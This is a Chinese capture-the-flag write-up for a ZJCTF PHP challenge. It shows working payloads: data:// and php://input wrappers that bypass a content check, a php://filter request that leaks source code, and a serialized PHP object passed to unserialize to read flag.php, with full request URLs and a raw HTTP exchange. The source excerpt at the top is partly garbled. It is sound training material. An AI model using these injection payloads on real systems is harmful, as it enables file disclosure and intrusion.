源码:
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
welcome to the zjctf
、file传入一个文件名,通过include($file)
包含进来、password未知伪协议第一次利用:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里需要我们传入一个文件且其内容为welcome to the zjctf
,才可以进入判断进行下一步
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法,并且给出了几个运用实例。
在例子中发现:file_get_contents()
的$filename
参数不仅仅为本地文件路径,还可以是一个网络路径URL
。于是便可以利用伪协议:
data://
协议利用text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
php://
协议利用url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST数据:welcome to the zjctf
POST请求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1
welcome to the zjctf
回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40
welcome to the zjctf
伪协议第二次利用:
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
此处过滤了flag
这个关键字且注释中有一个useless.php
,明面上说是没用,但是我们可以通过伪协议拉下来瞅瞅
file=php://filter/read=convert.base64-encode/resource=useless.php
为了方便我们前面便用data协议来绕过 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
,进入判断语句内部
于是:
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php
的base64编码
后的内容:
解码后得到:
这一段代码的意思是:获取这个$file
参数代表的文件并且输出出来,注意Flag
类中的$file
参数与通过get
传输$file
参数不是同一个,两者位于不同的作用域!
由其中的注释猜测,应该是要我们包含flag.php
这个文件即可获得flag,即将Flag对象中的$file
参数应为flag.php
。
如果我们包含了useless.php
,则整体代码变成了:
在$password = unserialize($password);
中,unserialize()
函数是一个反序列化函数。
若将一个序列化后的对象即一串字符串传给
$password
,那么我们会得到一个实例对象,将一个useless.php
中的Flag对象(其中$file
参数的值为flag.php
)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可执行的代码,且能输出flag.php
中的代码。
得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在url后加入以上语句后,会执行一下操作:
- 首先,利用data伪协议,text参数便可以绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
,顺利进入判断语句内- 然后,包含了
useless.php
文件,从而在原代码中引入了Flag
对象,只有如此,在password
参数反序列化才可输出flag.php
文件的内容- 传入的
password
参数经过反序列化后,得到一个$file=flag.php
的Flag对象,同时执行了该Flag对象内部的__tostring()
方法,输出flag.php
的内容,从而得到flag
注意:需要查看网页源代码方可见到flag